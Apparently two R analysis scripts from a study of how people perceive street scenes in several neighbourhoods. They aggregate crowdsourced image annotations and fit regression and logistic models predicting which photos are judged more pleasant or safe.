by_image <- group_by(dadosg4, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE))
groupedData4 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 10)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Grouping by image and question - G5
by_image <- group_by(dadosg5, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(your_answer_is, na.rm = TRUE))
groupedData5 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 20),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(your_answer_is, "2", desvios, 20)
#sdq2 = sd(question2, na.rm = TRUE)
)
#Grouping by image and question - G6
by_image <- group_by(dadosg6, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData6 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 1),
q1_left = geraValores(question1__left_side, "1l", desvios, 1),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 1),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Grouping by image and question - G7
by_image <- group_by(dadosg7, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData7 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 3),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 1),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = mediaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 1),
q3_left = geraValores(question3__left_side, "3l", desvios, 1),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 1)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Grouping by image and question - G8
by_image <- group_by(dadosg8, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2_right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3_right_side, na.rm = TRUE)
)
groupedData8 <- summarise(by_image,
count = n(),
q1 = Mode(question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2_right_side, desvios$sd2l, desvios$sd2r, 40),
q2_left = geraValores(question2__left_side, "2l", desvios, 20),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2_right_side, "2r", desvios, 20),
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
q3 = somaValores(question3__left_side, question3_right_side, desvios$sd3l, desvios$sd3r, 40),
q3_left = geraValores(question3__left_side, "3l", desvios, 20),
q3_right = geraValores(question3_right_side, "3r", desvios, 20)
)
#Grouping by image and question - G9
by_image <- group_by(dadosg9, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE) )
groupedData9 <- summarise(by_image,
count = n(),
q1 = mediaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 200),
q1_left = geraValores(question1__left_side, "1l", desvios, 200),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 200)
#sdq1_right = sd(question1__right_side, na.rm = TRUE)
)
#Grouping by image and question - G10
by_image <- group_by(dadosg10, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2 = sd(question2, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData10 <- summarise(by_image,
count = n(),
q1 = Mode(x = question1),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = geraValores(question2, "2", desvios, 50),
#sdq2 = sd(question2, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios, 1)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question - G11
by_image <- group_by(dadosg11, image_url)
desvios <- summarise (by_image,
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3l = sd(question3__left_side, na.rm = TRUE),
sd3r = sd(question3__right_side, na.rm = TRUE) )
groupedData11 <- summarise(by_image,
count = n(),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = somaValores(question3__left_side, question3__right_side, desvios$sd3l, desvios$sd3r, 80),
q3_left = geraValores(question3__left_side, "3l", desvios, 40),
#sdq3_left = sd(question3__left_side, na.rm = TRUE),
q3_right = geraValores(question3__right_side, "3r", desvios, 40)
#sdq3_right = sd(question3__right_side, na.rm = TRUE)
)
#Grouping by image and question - G12
by_image <- group_by(dadosg12, image_url)
desvios <- summarise (by_image,
sd1 = sd(question1, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE),
sd3 = sd(question3, na.rm = TRUE))
groupedData12 <- summarise(by_image,
count = n(),
q1 = geraValores(question1, "1", desvios, 10),
#sdq1 = sd(question1, na.rm = TRUE),
q2 = somaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 20),
q2_left = geraValores(question2__left_side, "2l", desvios, 10),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 10),
#sdq2_right = sd(question2__right_side, na.rm = TRUE),
q3 = geraValores(question3, "3", desvios,10)
#sdq3 = sd(question3, na.rm = TRUE)
)
#Grouping by image and question - G13
by_image <- group_by(dadosg13, image_url)
desvios <- summarise (by_image,
sd1l = sd(question1__left_side, na.rm = TRUE),
sd1r = sd(question1__right_side, na.rm = TRUE),
sd2l = sd(question2__left_side, na.rm = TRUE),
sd2r = sd(question2__right_side, na.rm = TRUE) )
groupedData13 <- summarise(by_image,
count = n(),
q1 = somaValores(question1__left_side, question1__right_side, desvios$sd1l, desvios$sd1r, 30),
q1_left = geraValores(question1__left_side, "1l", desvios, 10),
#sdq1_left = sd(question1__left_side, na.rm = TRUE),
q1_right = geraValores(question1__right_side, "1r", desvios, 15),
#sdq1_right = sd(question1__right_side, na.rm = TRUE),
q2 = mediaValores(question2__left_side, question2__right_side, desvios$sd2l, desvios$sd2r, 1),
q2_left = geraValores(question2__left_side, "2l", desvios, 1),
#sdq2_left = sd(question2__left_side, na.rm = TRUE),
q2_right = geraValores(question2__right_side, "2r", desvios, 1)
#sdq2_right = sd(question2__right_side, na.rm = TRUE)
)
#Renaming columns according to a fixed id
renomeiaGrupos <- function(dadosPorGrupo, listaColunas, idGrupo) {
for (coluna in listaColunas){
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- paste(idGrupo, coluna, sep="")
}
return(dadosPorGrupo)
}
renomeiaGrupos2 <- function(dadosPorGrupo, listaColunas, novosNomes) {
for (i in seq(1, length(listaColunas))){
coluna = listaColunas[i]
colnames(dadosPorGrupo)[colnames(dadosPorGrupo) == coluna] <- novosNomes[i]
}
return(dadosPorGrupo)
}
groupedData1 <- renomeiaGrupos(groupedData1, c("q2_left", "q2_right", "count"), "g1")
groupedData2 <- renomeiaGrupos(groupedData2, c("q2_left", "q2_right", "count"), "g2")
groupedData3 <- renomeiaGrupos(groupedData3, c("q1_left", "q1_right","q2_left", "q2_right","q3_left", "q3_right", "count"), "g3")
groupedData4 <- renomeiaGrupos(groupedData4, c("count"), "g4")
groupedData5 <- renomeiaGrupos(groupedData5, c("count"), "g5")
groupedData6 <- renomeiaGrupos(groupedData6, c("q1_left", "q1_right", "q2_left", "q2_right", "count"), "g6")
groupedData7 <- renomeiaGrupos(groupedData7, c("q3_left", "q3_right", "count"), "g7")
groupedData8 <- renomeiaGrupos(groupedData8, c("q2_left", "q2_right","q3_left", "q3_right", "count"), "g8")
groupedData9 <- renomeiaGrupos(groupedData9, c("q1_left", "q1_right", "count"), "g9")
groupedData10 <- renomeiaGrupos(groupedData10, c("count"), "g10")
groupedData11 <- renomeiaGrupos(groupedData11, c("q2_left", "q2_right","q3_left", "q3_right", "count"), "g11")
groupedData12 <- renomeiaGrupos(groupedData12, c("q2_left", "q2_right", "count"), "g12")
groupedData13 <- renomeiaGrupos(groupedData13, c("q1_left", "q1_right", "q2_left", "q2_right", "count"), "g13")
groupedData1 <- renomeiaGrupos2(groupedData1, c("q1", "q2", "q3"), c("street_wid", "sidewalk_wid", "public_art"))
groupedData2 <- renomeiaGrupos2(groupedData2, c("q1", "q2", "q3"), c("mov_cars", "park_cars", "mov_ciclyst"))
groupedData3 <- renomeiaGrupos2(groupedData3, c("q1", "q2", "q3"), c("debris", "pavement", "landscape"))
groupedData4 <- renomeiaGrupos2(groupedData4, c("q1", "q2"), c("courtyards", "major_landsc"))
groupedData5 <- renomeiaGrupos2(groupedData5, c("q1", "q2"), c("build_ident", "build_nrectan"))
groupedData6 <- renomeiaGrupos2(groupedData6, c("q1", "q2"), c("prop_street_wall", "prop_wind"))
groupedData7 <- renomeiaGrupos2(groupedData7, c("q1", "q2", "q3"), c("long_sight", "prop_sky_ahead", "prop_sky_across"))
groupedData8 <- renomeiaGrupos2(groupedData8, c("q1", "q2", "q3"), c("graffiti", "trees", "small_planters"))
groupedData9 <- renomeiaGrupos2(groupedData9, c("q1"), c("build_height"))
groupedData10 <- renomeiaGrupos2(groupedData10, c("q1", "q2", "q3"), c("build_diff_ages", "diff_build", "prop_hist_build"))
groupedData11 <- renomeiaGrupos2(groupedData11, c("q2", "q3"), c("outdoor_table", "street_furnit"))
groupedData12 <- renomeiaGrupos2(groupedData12, c("q1", "q2", "q3"), c("basic_col", "lights", "accent_col"))
groupedData13 <- renomeiaGrupos2(groupedData13, c("q1","q2"), c("people", "prop_active_use"))
```
## Comparing scenes differences between different sides in terms of Q-Score and ranking
```{r read}
all_original <- read.table("../all100/all_ordenado.dat")
ag_orig <- filter(all_original, V1 != "seguro?")
seg_orig <- filter(all_original, V1 == "seguro?")
agrad.l <- ag_orig %>% do(arrange(., V3)) %>% mutate(rank = 1:n())
seg.l <- seg_orig %>% do(arrange(., V3)) %>% mutate(rank = 1:n())
#Computing differences between each element and its next!
agrad.l$rank_diff <- c(0, diff(agrad.l$rank))
agrad.l$score_diff <- c(0, diff(agrad.l$V3))
#Evaluating differences
sink("fotos_ordenadas_agrad_rank_diff.dat")
for(i in seq(1, nrow(agrad.l)-1, 1)){
for(j in seq(i+1, nrow(agrad.l), 1)){
first_elem <- agrad.l[i,]
second_elem <- agrad.l[j,]
score_diff <- second_elem$V3 - first_elem$V3
rank_diff <- second_elem$rank - first_elem$rank
print(paste("Diff ", score_diff, rank_diff), quote=FALSE)
}
}
sink()
diff_data <- read.table("fotos_ordenadas_agrad_rank_diff.dat")
print(summary(diff_data$V4))#Summary of all differences
print(summary(filter(diff_data, V3 >= 1.0)$V4))#Summary of differences > 1.0 in score
print(summary(filter(diff_data, V3 < 1.0)$V4))#Summary of differences < 1.0 in score
#Computing differences between each element and its next! - Safety
seg.l$rank_diff <- c(0, diff(seg.l$rank))
seg.l$score_diff <- c(0, diff(seg.l$V3))
#Evaluating differences
sink("fotos_ordenadas_seg_rank_diff.dat")
for(i in seq(1, nrow(seg.l)-1, 1)){
for(j in seq(i+1, nrow(seg.l), 1)){
first_elem <- seg.l[i,]
second_elem <- seg.l[j,]
score_diff <- second_elem$V3 - first_elem$V3
rank_diff <- second_elem$rank - first_elem$rank
print(paste("Diff ", score_diff, rank_diff), quote=FALSE)
}
}
sink()
diff_data <- read.table("fotos_ordenadas_seg_rank_diff.dat")
print(summary(diff_data$V4))#Summary of all differences
print(summary(filter(diff_data, V3 >= 1.0)$V4))#Summary of differences > 1.0 in score
print(summary(filter(diff_data, V3 < 1.0)$V4))#Summary of differences < 1.0 in score
#Evaluating current ranking of places?
#Evaluating photos divergences and urban elements
same_places_diff_agrad <- read.table("fotos_ordenadas_agrad_rank_diff.dat", sep="+")
centro <- filter(same_places_diff_agrad, grepl('centro', V2))
centro$V1 <- paste("https://contribua.org/bairros/norte/", centro$V1, sep="")
centro$V2 <- paste("https://contribua.org/bairros/norte/", centro$V2, sep="")
liberdade <- filter(same_places_diff_agrad, grepl('liberdade', V2))
liberdade$V1 <- paste("https://contribua.org/bairros/oeste/", liberdade$V1, sep="")
liberdade$V2 <- paste("https://contribua.org/bairros/oeste/", liberdade$V2, sep="")
catole <- filter(same_places_diff_agrad, grepl('catole', V2))
catole$V1 <- paste("https://contribua.org/bairros/oeste/", catole$V1, sep="")
catole$V2 <- paste("https://contribua.org/bairros/oeste/", catole$V2, sep="")
same_places_diff_agrad <- rbind(centro, liberdade, catole)
same_places_diff_seg <- read.table("fotos_ordenadas_seg_rank_diff.dat", sep="+")
centro <- filter(same_places_diff_seg, grepl('centro', V2))
centro$V1 <- paste("https://contribua.org/bairros/norte/", centro$V1, sep="")
centro$V2 <- paste("https://contribua.org/bairros/norte/", centro$V2, sep="")
liberdade <- filter(same_places_diff_seg, grepl('liberdade', V2))
liberdade$V1 <- paste("https://contribua.org/bairros/oeste/", liberdade$V1, sep="")
liberdade$V2 <- paste("https://contribua.org/bairros/oeste/", liberdade$V2, sep="")
catole <- filter(same_places_diff_seg, grepl('catole', V2))
catole$V1 <- paste("https://contribua.org/bairros/oeste/", catole$V1, sep="")
catole$V2 <- paste("https://contribua.org/bairros/oeste/", catole$V2, sep="")
same_places_diff_seg <- rbind(centro, liberdade, catole)
#Combining all street features
combineFeaturesAndTestRegression <- function(dataset){
temp <- merge(groupedData1, dataset, by.x="image_url", by.y="V1")
temp <- merge(temp, groupedData2, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData3, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData4, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData5, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData6, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData7, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData8, by.x="image_url", by.y="image_url")
temp<- merge(temp, groupedData9, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData10, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData11, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData12, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData13, by.x="image_url", by.y="image_url")
temp <- merge(temp, groupedData1, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData2, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData3, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData4, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData5, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData6, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData7, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData8, by.x="V2", by.y="image_url")
temp<- merge(temp, groupedData9, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData10, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData11, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData12, by.x="V2", by.y="image_url")
temp <- merge(temp, groupedData13, by.x="V2", by.y="image_url")
temp$diff_street_wid <- abs(temp$street_wid.x - temp$street_wid.y)
temp$diff_mov_cars <- abs(temp$mov_cars.x - temp$mov_cars.y)
temp$diff_park_cars <- abs(temp$park_cars.x - temp$park_cars.y)
temp$diff_landscape <- abs(temp$landscape.x - temp$landscape.y)
temp$diff_mov_ciclyst <- abs(temp$mov_ciclyst.x - temp$mov_ciclyst.y)
temp$diff_build_ident <- abs(temp$build_ident.x - temp$build_ident.y)
temp$diff_trees <- abs(temp$trees.x - temp$trees.y)
temp$diff_build_height <- abs(log2(temp$build_height.x+1) - log2(temp$build_height.y+1))
temp$diff_people <- abs(temp$people.x - temp$people.y)
temp$diff_diff_build <- abs(temp$diff_build.x - temp$diff_build.y)
temp$diff_graffiti <- abs((temp$graffiti.x == "Yes") - (temp$graffiti.y == "Yes"))
temp1 <- lapply(as.character(temp$image_url), function (x) strsplit(x, split="/", fixed=TRUE)[[1]][6])
neigs1 <- unlist(lapply(temp1, '[[', 1))
temp$bairro <- neigs1
temp <- arrange(temp, V3) %>% mutate(rank = 1:n()) #arrange(temp, mean) %>% mutate(rank = 1:n())
temp$centro <- 0
temp$catole <- 0
temp$liberdade <- 0
temp$centro[temp$bairro == "centro"] <- 1
temp$catole[temp$bairro == "catole"] <- 1
temp$liberdade[temp$bairro == "liberdade"] <- 1
#temp$graffiti <- factor(temp$graffiti, levels = c("Yes", "No"))
#temp$graffiti <- relevel(temp$graffiti, "No")
regGeneral <- lm(V3 ~ diff_street_wid + diff_mov_cars + diff_park_cars + diff_mov_ciclyst + diff_landscape + diff_build_ident + diff_trees + diff_build_height + diff_people + diff_diff_build + diff_graffiti, na.action = na.exclude, data = temp)
print(summary(regGeneral))
return(summary(regGeneral))
}
sink("all_divergences_x_elements.dat", append = TRUE)
print(">>>>> Pleasantness")
combineFeaturesAndTestRegression(same_places_diff_agrad)
print(">>>>> Top 11 divergences Pleasantness")
combineFeaturesAndTestRegression(arrange(same_places_diff_agrad, -V3)[1:11,])
print(">>>>> Safety")
combineFeaturesAndTestRegression(same_places_diff_seg)
print(">>>>> Top 7 divergences Safety")
combineFeaturesAndTestRegression(arrange(same_places_diff_agrad, -V3)[1:7,])
sink()
```
<file_sep>#https://www.r-bloggers.com/how-to-perform-a-logistic-regression-in-r/
#2nd order interactions: http://stackoverflow.com/questions/22649536/model-matrix-with-all-pairwise-interactions-between-columns
#Assumptions: http://www.statisticssolutions.com/assumptions-of-logistic-regression/ -> no multicollinearity, he independent variables should be independent from each other;
#Interpret coefficients: http://www.ats.ucla.edu/stat/mult_pkg/faq/general/odds_ratio.htm
#Intercept é o log odds (onde odds é p / (1-p)) para o caso base, por exemplo, jovem, feminino, baixa, solteiro e diferencas das features em 0 -> pode ser um caso hipotetico!
#Moderation x Mediation: http://psych.wisc.edu/henriques/mediator.html ; http://www.uni-kiel.de/psychologie/rexrepos/posts/regressionModMed.html; http://www.ats.ucla.edu/stat/spss/seminars/process_macro/process_training.htm; https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2908713/ (representação gráfica)
require(gmodels)
require(vcd)
require(lme4)
library(caret)
library(pscl)
library(DT)
library(ggplot2)
theme_set(theme_bw())
library(GGally)
library(dplyr, warn.conflicts = F)
library(broom)
library(car)
library(readr)
compare_glms <- function(baseline, model){
modelChi <- baseline$deviance - model$deviance
chidf <- baseline$df.residual - model$df.residual
chisq.prob <- 1 - pchisq(modelChi, chidf)
print(paste(modelChi, chidf, chisq.prob))
}
compare_null <- function(baselineModel){
modelChi <- baselineModel$null.deviance - baselineModel$deviance
chidf <- baselineModel$df.null - baselineModel$df.residual
chisq.prob <- 1 - pchisq(modelChi, chidf)
print(paste(modelChi, chidf, chisq.prob))
}
#classifier//classifier_input_wodraw.dat
#../../dadosNov15/usuarios/classifier//classifier_input_wodraw.dat
raw_data = read_delim(
"classifier//classifier_input_wodraw.dat",
delim = "\t",
col_types = cols(
.default = col_double(),
row = col_integer(),
choice = col_character(),
question = col_character(),
photo1 = col_character(),
photo2 = col_character(),
choice = col_integer(),
userID = col_integer(),
gender = col_character(),
age = col_character(),
income = col_character(),
education = col_character(),
city = col_character(),
marital = col_character(),
graffiti1 = col_character(),
bairro1 = col_character(),
graffiti2 = col_character(),
bairro2 = col_character()
)
)
data = raw_data %>%
mutate( # Recode
income = if_else(is.na(income), "media", income),
age_cat = if_else(as.integer(age) >= 25 | is.na(age), "adulto", "jovem"),
inc_cat = if_else(income %in% c("baixa", "media baixa"),
"baixa",
"media"), # substituirá os NA
choice = if_else(choice == "1", "0",
if_else(choice == "-1", "1", choice)),
bair_cat = if_else(bairro1 == bairro2, "mesmo",
paste0(bairro1, "_", bairro2))
) %>%
mutate_at( # to factor
vars(income, age_cat, inc_cat, choice, bair_cat, marital, gender),
as.factor) %>%
mutate( # relevel
bair_cat = relevel(bair_cat, "mesmo"),
marital = relevel(marital, "solteiro"),
income = relevel(income, "baixa"),
age_cat = relevel(age_cat, "jovem"),
gender = relevel(gender, "feminino"),
inc_cat = relevel(inc_cat, "baixa")
)
# Create diff features
data = data %>%
mutate(
d_swidth = street_wid1 - street_wid2,
d_mvcars = mov_cars1 - mov_cars2,
d_pcars = park_cars1 - park_cars2,
d_trees = trees1 - trees2,
d_mvciclyst = mov_ciclyst1 - mov_ciclyst2,
d_lands = landscape1 - landscape2,
d_bid = build_ident1 - build_ident2,
d_bheig = log2(build_height1 + 1) - log2(build_height2 + 1),
d_dbuild = diff_build1 - diff_build2,
d_people = people1 - people2,
d_graff = (graffiti1 == "Yes") - (graffiti2 == "Yes")
)
# SPLIT + SCALE
agrad <- filter(data, !(question %in% c("seguro?", "seguro"))) %>%
mutate_at(vars(40:50), scale)
seg <- filter(data, (question %in% c("seguro?", "seguro"))) %>%
mutate_at(vars(40:50), scale)
create_model_w_interact = function(the_data){
return(glm(
choice ~ d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff + bair_cat +
age_cat:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) +
gender:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff) +
inc_cat:(d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff),
data = the_data,
family = binomial()))
}
create_model_wo_profile = function(the_data){
return(glm(
choice ~ d_swidth + d_mvcars + d_pcars + d_trees + d_mvciclyst + d_lands + d_bid + d_bheig + d_dbuild + d_people + d_graff + bair_cat,
data = the_data,
family = binomial()))
}
# mostpleasant_model <- create_model_w_interact(agrad)
# summary(mostpleasant_model)
# #anova(mostpleasant_model, test="Chisq")
# vif(mostpleasant_model)
# coefs_ag = tidy(mostpleasant_model, conf.int = TRUE, exponentiate = TRUE)
# coefs_ag %>%
# mutate_at(vars(-1), prettyNum, digits = 3) %>%
# datatable()
# { # fix for what seems like a bug in pR2
# the_data = agrad
# pR2(mostpleasant_model)
# }
# safer_model <- create_model_w_interact(seg)
# summary(safer_model)
# #anova(safer_model, test="Chisq")
# vif(safer_model)
# coefs_seg = tidy(safer_model, conf.int = TRUE, exponentiate = TRUE)
# coefs_seg %>%
# mutate_at(vars(-1), prettyNum, digits = 3) %>%
# datatable()
# { # fix for what seems like a bug in pR2
# the_data = seg
# pR2(safer_model)
# }
#Leave user out
leaveUserOut <- function(dataFrame, threshold){
allPValues <- matrix(0, nrow=51, ncol=1)
allCoef <- matrix(0, nrow=51, ncol=1)
inputFeatures <- c()
allAccuracies <- c()
allRecall <- c()
allPrecision <- c()
for (currentUser in c(unique(dataFrame$userID)[1:20])) {
userData <- filter(dataFrame, userID == currentUser)
notUserData <- filter(dataFrame, userID != currentUser)
#baselineModel_interac <- glm(choice ~ scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff) + bair_cat + age_cat : ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) + gender : ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) + inc_cat : ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)), data= notUserData, family = binomial())
baselineModel_interac <- create_model_w_interact(notUserData)
result <- tidy(baselineModel_interac, conf.int = TRUE) %>% mutate_each(funs(exp), estimate, conf.low, conf.high)
if (mean(allPValues) == 0){
allPValues[,1] <- result$p.value
allCoef[,1] <- result$estimate
inputFeatures <- result$term
}else{
allPValues <- cbind(allPValues, result$p.value)
allCoef <- cbind(allCoef, result$estimate)
}
#Testing with removed user!
predictions <- predict(baselineModel_interac, newdata = userData, type = "response") > threshold
fp <- table(predictions, userData$choice)[2]
fn <- table(predictions, userData$choice)[3]
correct_1 <- table(predictions, userData$choice)[4]
correct_0 <- table(predictions, userData$choice)[1]
print(paste(correct_0, correct_1, fp, fn))
allAccuracies <- append(allAccuracies, (correct_1 + correct_0) / length(predictions))
allPrecision <- append(allPrecision, (correct_1) / (correct_1 + fp))
allRecall <- append(allRecall, (correct_1) / (correct_1 + fn))
}
write.table(allAccuracies, file=paste("accuraciesA", threshold, ".dat"), row.names=FALSE, quote=FALSE)
write.table(allPrecision, file=paste("precisionA", threshold, ".dat"), row.names=FALSE, quote=FALSE)
write.table(allRecall, file=paste("recallA", threshold, ".dat"), row.names=FALSE, quote=FALSE)
write.table(cbind(inputFeatures, allPValues), file=paste("pvaluesA", threshold, ".dat"), row.names=FALSE, quote=FALSE)
write.table(cbind(inputFeatures, allCoef), file=paste("coefficientsA", threshold, ".dat"), row.names=FALSE, quote=FALSE)
}
leaveUserOut(agrad, 0.5)
leaveUserOut(agrad, 0.6)
leaveUserOut(agrad, 0.7)
#leaveUserOut(seg)
#Safety
#baselineModel_wointerac_seg <- glm(choice ~ age + gender + income + marital + scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff) + d_catole + d_liberdade + d_centro, data= seg, family = binomial())
#summary(baselineModel_wointerac_seg)
#anova(baselineModel_wointerac_seg, test="Chisq")
#pR2(baselineModel_wointerac_seg)
#Only 3 occurrences of viuvo! Removing this class from interactions!
#age_cat + gender + income + marital + marital * ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff))
# baselineModel_interac_seg <- glm(choice ~ scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff) + bair_cat + age_cat : ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) + gender : ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)) + inc_cat : ( scale(d_swidth) + scale(d_mvcars) + scale(d_pcars) + scale(d_trees) + scale(d_mvciclyst) + scale(d_lands) + scale(d_bid) + scale(d_bheig) + scale(d_dbuild) + scale(d_people) + scale(d_graff)), data= seg, family = binomial())#filter(seg, marital != "vi\\u00favo")
# summary(baselineModel_interac_seg)
# anova(baselineModel_interac_seg, test="Chisq")
# pR2(baselineModel_interac_seg)
# exp(baselineModel_interac_seg$coefficients)
# result <- tidy(baselineModel_interac_seg, conf.int = TRUE) %>%
# mutate_each(funs(exp), estimate, conf.low, conf.high)
# glance(baselineModel_interac_seg)
#True positive x False Positive
# library(ROCR)
# p <- predict(model, newdata=subset(test,select=c(2,3,4,5,6,7,8)), type="response")
# pr <- prediction(p, test$Survived)
# prf <- performance(pr, measure = "tpr", x.measure = "fpr")
# plot(prf)
#
# auc <- performance(pr, measure = "auc")
# auc <- [email protected][[1]]
# #a model with good predictive ability should have an AUC closer to 1 (1 is ideal) than to 0.5.
# auc
#
# #Other codes by Nazareno
# lModel <- update(baselineModel, . ~ . + marriage + birth)
#
# lModel.2 <- update(baselineModel, . ~ . + start_age)
#
# lModel.3 <- update(baselineModel, . ~ . + start_age + marriage + birth)
#
# summary(baselineModel)
# summary(lModel)
# compare_glms(baselineModel, lModel)
#
# summary(lModel.2)
# compare_glms(baselineModel, lModel.2)
# summary(lModel.3)
# compare_glms(lModel.2, lModel.3)
#
# vif(lModel)
#
# baselineModel <- glm(mob_change ~ education + gender + start_age,
# data = regression_data_u30,
# family = binomial())
#
# lModel <- update(baselineModel, . ~ . + marriage + birth)
#
